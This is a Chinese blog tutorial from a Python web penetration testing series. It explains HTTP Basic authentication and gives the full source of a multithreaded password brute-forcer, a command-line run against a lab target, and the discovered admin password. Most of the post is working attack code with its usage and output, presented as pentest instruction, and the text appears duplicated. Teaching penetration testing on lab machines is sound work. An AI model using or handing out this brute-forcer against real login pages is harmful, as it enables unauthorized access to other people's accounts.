使用Python编写一个密码暴力攻击测试器
2017-11-28 12:07
369 查看
文章首发个人博客:http://zmister.com/archives/192.html
相关文章:密码攻击
利用Python进行Web渗透测试(七):用Python编写一个资源暴力探测工具
利用Python进行Web渗透测试(八):改进暴力探测器的显示结果和新功能
利用Python进行Web渗透测试(九):添加渗透测试探测器结果截图
本篇将会涉及:
HTTP 基本认证
对HTTP Basic认证进行密码暴力攻击测试
当我们访问一个需要进行HTTP基本认证的网址时,其会通过响应一个401状态码,并返回一个认证框来接收用户输入的认证信息。如果我们填错,服务器会继续返回一个401状态码和认证框,如果认证成功,则返回200请求成功状态码。
HTTP基本认证一个优点是几乎所有的现代浏览器都支持这种认证方式,非常的简单方便,但是由于其技术特性,这种认证方式并不是很安全,现在亦多存在于内网环境下的站点。
其采用的Base64编码加密,也是属于“防君子不防小人”的加密。利用Python的base64模块,我们就能够轻松的进行加密和解密:
返回的结果为:
是不是感觉很坑爹,嗯,就是的。\^_^
照常,我们引入相关的模块
相关模块的功能,在上一篇编写资源探测器的文章中已经提及,忘记了的可以前往博客阅读:http://zmister.com/archives/180.html http://zmister.com/archives/181.html
由于字典中的条目会有很多,所以我们设置一个全局变量,用来标识字典中的密码是否有效:
然后照例我们定义一个横幅函数,装饰我们的单调的命令行:
接着,仍然是程序的使用参数方法示例:
接着就是我们的主类request_performer():
最后是启动线程的函数launcher_thread()和启动程序的函数start():
最后,我们依然使用虚拟机中的http://www.scruffybank.com/作为靶机,对http://www.scruffybank.com/Admin 的admin用户进行密码攻击测试,以一个弱口令文件作为字典:
在命令行终端运行命令:
结果显示发现了一个密码“administrator”
我们打开http://www.scruffybank.com/Admin,使用用户名admin和密码administrator登录,看看能否成功登录。
结果认证成功进入了一个目录内,说明我们的弱口令密码暴力测试成功了。
下一篇,我们将改进我们的密码暴力测试器,让其支持更加安全的认证方式——HTTP摘要认证。
敬请期待!
相关文章:密码攻击
利用Python进行Web渗透测试(七):用Python编写一个资源暴力探测工具
利用Python进行Web渗透测试(八):改进暴力探测器的显示结果和新功能
利用Python进行Web渗透测试(九):添加渗透测试探测器结果截图
本篇将会涉及:
HTTP 基本认证
对HTTP Basic认证进行密码暴力攻击测试
什么是HTTP 基本认证
HTTP基本认证(HTTP Basic Authentication)是HTTP协议中实现Web资源访问控制的最简单的认证手段。其通过添加header头域的方式或者在URL中附带参数的方式提供认证信息,并通过Base64编码将认证信息进行编码传输,最后由服务器接收到编码后的字符进行解码认证。当我们访问一个需要进行HTTP基本认证的网址时,其会通过响应一个401状态码,并返回一个认证框来接收用户输入的认证信息。如果我们填错,服务器会继续返回一个401状态码和认证框,如果认证成功,则返回200请求成功状态码。
HTTP基本认证一个优点是几乎所有的现代浏览器都支持这种认证方式,非常的简单方便,但是由于其技术特性,这种认证方式并不是很安全,现在亦多存在于内网环境下的站点。
其采用的Base64编码加密,也是属于“防君子不防小人”的加密。利用Python的base64模块,我们就能够轻松的进行加密和解密:
import base64 # 原始字符串 a = 'admin123' # base64编码加密 b = base64.b64encode(a.encode('utf-8')) print(str(b,'utf-8')) # base64编码解密 c = str(b,'utf-8') d = base64.b64decode(c) print(str(d,'utf-8'))
返回的结果为:
YWRtaW4xMjM= admin123
是不是感觉很坑爹,嗯,就是的。\^_^
编写Python密码暴力测试器
了解了HTTP基本认证的一些概念,下面我们继续使用Python编写一个渗透测试密码暴力破解器。照常,我们引入相关的模块
# coding:utf-8 import requests import sys import getopt import time from termcolor import colored from threading import Thread
相关模块的功能,在上一篇编写资源探测器的文章中已经提及,忘记了的可以前往博客阅读:http://zmister.com/archives/180.html http://zmister.com/archives/181.html
由于字典中的条目会有很多,所以我们设置一个全局变量,用来标识字典中的密码是否有效:
global valid valid = '1'
然后照例我们定义一个横幅函数,装饰我们的单调的命令行:
# 程序标识 def banner(): print("\n********************") name = ''' ______ _ _ |___ / (_) | | / / _ __ ___ _ ___| |_ ___ _ __ / / | '_ ` _ \| / __| __/ _ \ '__| / /__| | | | | | \__ \ || __/ | /_____|_| |_| |_|_|___/\__\___|_| ''' print(name) print("州的先生-密码暴力测试器 v1.0") print("***********************")
接着,仍然是程序的使用参数方法示例:
# 程序用法 def usage(): print("州的先生密码暴力测试器使用方法:") print(" -w:网址 (http://wensite.com/admin)") print(" -u:用户名") print(" -t:线程数") print(" -f:字典文件") print("例子:bruteforcer.py -w http://zmister.com/admin -u admin -t 5 -f commom.txt")
接着就是我们的主类request_performer():
class request_performer(Thread): def __init__(self,name,user,url): Thread.__init__(self) try: self.password = name.split("\n")[0] self.username = user self.url = url except Exception as e: print(e) def run(self): global valid if valid == '1': try: r = requests.get(self.url,auth=(self.username,self.password)) if r.status_code == 200: valid = '0' print("[+]发现密码:"+ colored(self.password,'green')) sys.exit() else: print("无效的密码:"+ self.password) i[0] = i[0] - 1 except Exception as e: print(e)
最后是启动线程的函数launcher_thread()和启动程序的函数start():
def start(argv): banner() if len(sys.argv) < 5: usage() sys.exit() try: opts, args = getopt.getopt(argv, "u:w:f:t:") except getopt.GetoptError: print("错误的参数") sys.exit() for opt, args in opts: if opt == '-u': user = args elif opt == '-w': url = args elif opt == '-f': dicts = args elif opt == '-t': threads = args try: f = open(dicts, 'r') passwords = f.readlines() except: print("打开文件错误:", dicts, "\n") sys.exit() launcher_thread(passwords,threads,user,url) def launcher_thread(passwords,th,username,url): global i i = [] print("==============================================") i.append(0) while len(passwords): if valid == '1': try: if i[0] < int(th): passwd = passwords.pop(0) i[0] = i[0]+1 thread = request_performer(passwd,username,url) thread.start() except KeyboardInterrupt: print("用户停止了程序运行。完成探测") sys.exit() thread.join() return True
最后,我们依然使用虚拟机中的http://www.scruffybank.com/作为靶机,对http://www.scruffybank.com/Admin 的admin用户进行密码攻击测试,以一个弱口令文件作为字典:
在命令行终端运行命令:
python passBruteForcer.py -w http://www.scruffybank.com/Admin -u admin -t 5 -f pass.txt
结果显示发现了一个密码“administrator”
我们打开http://www.scruffybank.com/Admin,使用用户名admin和密码administrator登录,看看能否成功登录。
结果认证成功进入了一个目录内,说明我们的弱口令密码暴力测试成功了。
下一篇,我们将改进我们的密码暴力测试器,让其支持更加安全的认证方式——HTTP摘要认证。
敬请期待!
相关文章推荐
- 使用Python编写一个模仿CPU工作的程序
- 使用Python编写一个最基础的代码解释器的要点解析
- 如何使用Python为Hadoop编写一个简单的MapReduce程序(这个人T字还有好几篇精华的可以看)
- 如何使用Python为Hadoop编写一个简单的MapReduce程序
- 使用 python 编写一个授权登录验证的模块
- Python使用tcp编写一个简易的文件下载器(服务端和客户端)
- 使用Python编写一个最基础的代码解释器的要点解析
- 使用Python编写一个简单的tic-tac-toe游戏的教程
- 使用Python编写一个渗透测试探测器 推荐
- 如何使用Python为Hadoop编写一个简单的MapReduce程序
- 使用Python来编写一个简单的感知机
- 使用Python编写一个聪明的尼姆游戏
- 使用python编写一个监控使用内存并使用flask模块出图
- 如何使用Python为Hadoop编写一个简单的MapReduce程序
- 使用python的twisted框架编写一个简单的聊天室
- 使用Python来编写一个简单的感知机
- 如何使用Python编写一个Lisp解释器
- 如何使用Python为Hadoop编写一个简单的MapReduce程序
- 使用python的twisted框架编写一个简单的聊天室
- 使用Python编写一个在Linux下实现截图分享的脚本的教程